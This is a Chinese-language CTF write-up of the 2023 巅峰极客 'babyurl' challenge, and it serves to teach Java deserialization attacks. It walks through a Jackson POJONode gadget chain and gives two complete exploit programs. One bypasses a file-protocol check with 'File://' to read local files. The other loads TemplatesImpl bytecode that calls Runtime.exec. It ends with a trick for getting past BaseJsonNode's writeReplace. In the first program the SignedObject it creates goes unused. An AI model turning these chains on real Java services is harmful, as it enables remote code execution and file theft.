前言
之前在JAVA入门到放弃系列之TemplatesImpl注入Fastjson内存马中提到无论是Impl链或是二次反序列化的SignedObject都需要借助fastjson的JSONArray/JSONObject来触发getter方法。
所以同样的,当fastjson库被替换成jackson库,我们依旧可以找到相似的类来触发getter方法,它就是PojoNode,其触发条件如下:
- 不需要存在该属性
- getter方法需要有返回值
- 尽可能的只有一个getter
我们可以通过一道CTF题来学习这个知识点。
2023巅峰极客-babyurl
/hack路由是入口点,通过传入的payload进行反序列化,/file路由可以读取/tmp/file内容
@GetMapping({"/hack"})
@ResponseBody
public String hack(@RequestParam String payload) {
byte[] bytes = Base64.getDecoder().decode(payload.getBytes(StandardCharsets.UTF_8));
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
try {
ObjectInputStream ois = new MyObjectInputStream(byteArrayInputStream);
URLHelper o = (URLHelper)ois.readObject();
System.out.println(o);
System.out.println(o.url);
return "ok!";
} catch (Exception var6) {
var6.printStackTrace();
return var6.toString();
}
}
@RequestMapping({"/file"})
@ResponseBody
public String file() throws IOException {
File file = new File("/tmp/file");
if (!file.exists()) {
file.createNewFile();
}
FileInputStream fis = new FileInputStream(file);
byte[] bytes = new byte[1024];
fis.read(bytes);
return new String(bytes);
}
跟一下URLHelper和URLVisiter类,分析可知URLHelper重写了readObject,可以根据传入的内容反序列化后存入/tmp/file,而URLVisiter实现了通过一个url读取内容,并限制了不能以file开头,防止用file协议读文件,其实改个大小写用File://即可绕过
public class URLHelper implements Serializable {
public String url;
public URLVisiter visiter = null;
private static final long serialVersionUID = 1L;
public URLHelper(String url) {
this.url = url;
}
private void readObject(ObjectInputStream in) throws Exception {
in.defaultReadObject();
if (this.visiter != null) {
String result = this.visiter.visitUrl(this.url);
File file = new File("/tmp/file");
if (!file.exists()) {
file.createNewFile();
}
FileOutputStream fos = new FileOutputStream(file);
fos.write(result.getBytes());
fos.close();
}
}
}
public class URLVisiter implements Serializable {
public URLVisiter() {
}
public String visitUrl(String myurl) {
if (myurl.startsWith("file")) {
return "file protocol is not allowed";
} else {
URL url = null;
try {
url = new URL(myurl);
BufferedReader in = new BufferedReader(new InputStreamReader(url.openStream()));
StringBuilder sb = new StringBuilder();
String inputLine;
while((inputLine = in.readLine()) != null) {
sb.append(inputLine);
}
in.close();
return sb.toString();
} catch (Exception var6) {
return var6.toString();
}
}
}
}
最后看下MyObjectInputStream,其中关键是过滤了URLVisiter和URLHelper
public class MyObjectInputStream extends ObjectInputStream {
public MyObjectInputStream(InputStream in) throws IOException {
super(in);
}
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
String className = desc.getName();
String[] denyClasses = new String[]{"java.net.InetAddress", "org.apache.commons.collections.Transformer", "org.apache.commons.collections.functors", "com.yancao.ctf.bean.URLVisiter", "com.yancao.ctf.bean.URLHelper"};
String[] var4 = denyClasses;
int var5 = denyClasses.length;
for(int var6 = 0; var6 < var5; ++var6) {
String denyClass = var4[var6];
if (className.startsWith(denyClass)) {
throw new InvalidClassException("Unauthorized deserialization attempt", className);
}
}
return super.resolveClass(desc);
}
}
再看下包依赖中含有jackson,因此我们可以使用前言中提到的POJONode来形成完整的利用链
综上分析我们可以得出两种解法,一是通过二次反序列化绕过URLVisiter和URLHelper过滤用File://读取flag到/tmp/file中,链子如下:
//链子1
BadAttributeValueExpException#readObject() ->
POJONode#toString() ->
SignedObject#getObject
exp如下:
package com.yancao.ctf;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.yancao.ctf.bean.URLHelper;
import com.yancao.ctf.bean.URLVisiter;
import com.fasterxml.jackson.databind.node.POJONode;
import org.apache.ibatis.javassist.ClassPool;
import org.apache.ibatis.javassist.CtClass;
import org.apache.ibatis.javassist.CtConstructor;
import java.io.*;
import java.security.*;
import java.util.*;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
public class exp {
public static void main(String[] args) throws Exception {
URLHelper Help = new URLHelper("File:///etc/host");
Help.visiter = new URLVisiter();
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(Help, kp.getPrivate(), Signature.getInstance("DSA"));
//触发SignedObject#getObject
POJONode node2 = new POJONode(Help);
BadAttributeValueExpException val2 = new BadAttributeValueExpException(null);
Field valfield2 = val2.getClass().getDeclaredField("val");
valfield2.setAccessible(true);
valfield2.set(val2, node2);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(val2);
outputStream.close();
System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())));
}
}
打一下,看下file可以发现成功读取到/etc/host(实际题目中还需要找一下flag,由于本地环境,这里不再复现)
二是直接打Impl链子,链子如下:
//链子2
BadAttributeValueExpException#readObject() ->
POJONode#toString() ->
TemplatesImpl#getOutputProperties
exp如下:
package com.yancao.ctf;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.yancao.ctf.bean.URLHelper;
import com.yancao.ctf.bean.URLVisiter;
import com.fasterxml.jackson.databind.node.POJONode;
import org.apache.ibatis.javassist.ClassPool;
import org.apache.ibatis.javassist.CtClass;
import org.apache.ibatis.javassist.CtConstructor;
import java.io.*;
import java.security.*;
import java.util.*;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
public class exp {
public static void setValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] genPayload(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[0], clazz);
constructor.setBody("Runtime.getRuntime().exec(\"" + cmd + "\");");
clazz.addConstructor(constructor);
clazz.getClassFile().setMajorVersion(49);
return clazz.toBytecode();
}
public static void main(String[] args) throws Exception {
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", new byte[][]{genPayload("open -na Calculator")});
setValue(templates, "_name", "1");
setValue(templates, "_tfactory", (Object)null);
POJONode jsonNodes = new POJONode(templates);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = exp.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jsonNodes);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(exp);
outputStream.close();
System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())));
}
}
打一下,成功弹出计算器
踩坑
调用POJONode#toString()需要注意的是由于PoJoNode类是继承ValueNode,而ValueNode又是继承BaseJsonNode类的,而BaseJsonNode中有个writeReplace函数,反序列化时会先走这个writeReplace方法进行检查从而中断我们的利用链,这里需要我们重写一下这个BaseNodeJson,将writeReplace方法注释掉即可。